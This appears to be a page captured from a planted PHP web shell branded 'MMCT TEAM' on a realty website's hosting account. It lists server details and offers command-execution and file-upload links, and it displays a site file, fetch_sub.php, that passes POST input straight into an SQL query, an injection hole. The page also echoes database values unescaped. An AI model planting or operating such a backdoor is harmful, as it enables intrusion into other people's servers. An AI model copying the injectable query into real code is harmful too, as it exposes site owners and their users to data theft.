MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 18.219.209.76
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home1/a1673wkz/propstonerealty.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home1/a1673wkz/propstonerealty.com/fetch_sub.php
<select class="custom-select sec_sub_loc sel3" multiple name="sublocation[]">
<?php
include("config.php");
$location=$_POST['loc'];
$loc_cnt=count(((array) $_POST['loc']));
//echo $loc_cnt;
for($i=0;$i<$loc_cnt;$i++)
{
    $loc=$_POST['loc'][$i];
    $fetch=$obj->fetch("SELECT * FROM model WHERE brand='$loc'");
    foreach($fetch as $val)
    {
        ?>
        <option value="<?php echo $val['id'] ?>"><?php echo $val['model'] ?></option>
        <?php
    }
}
?>
</select>

MMCT - 2023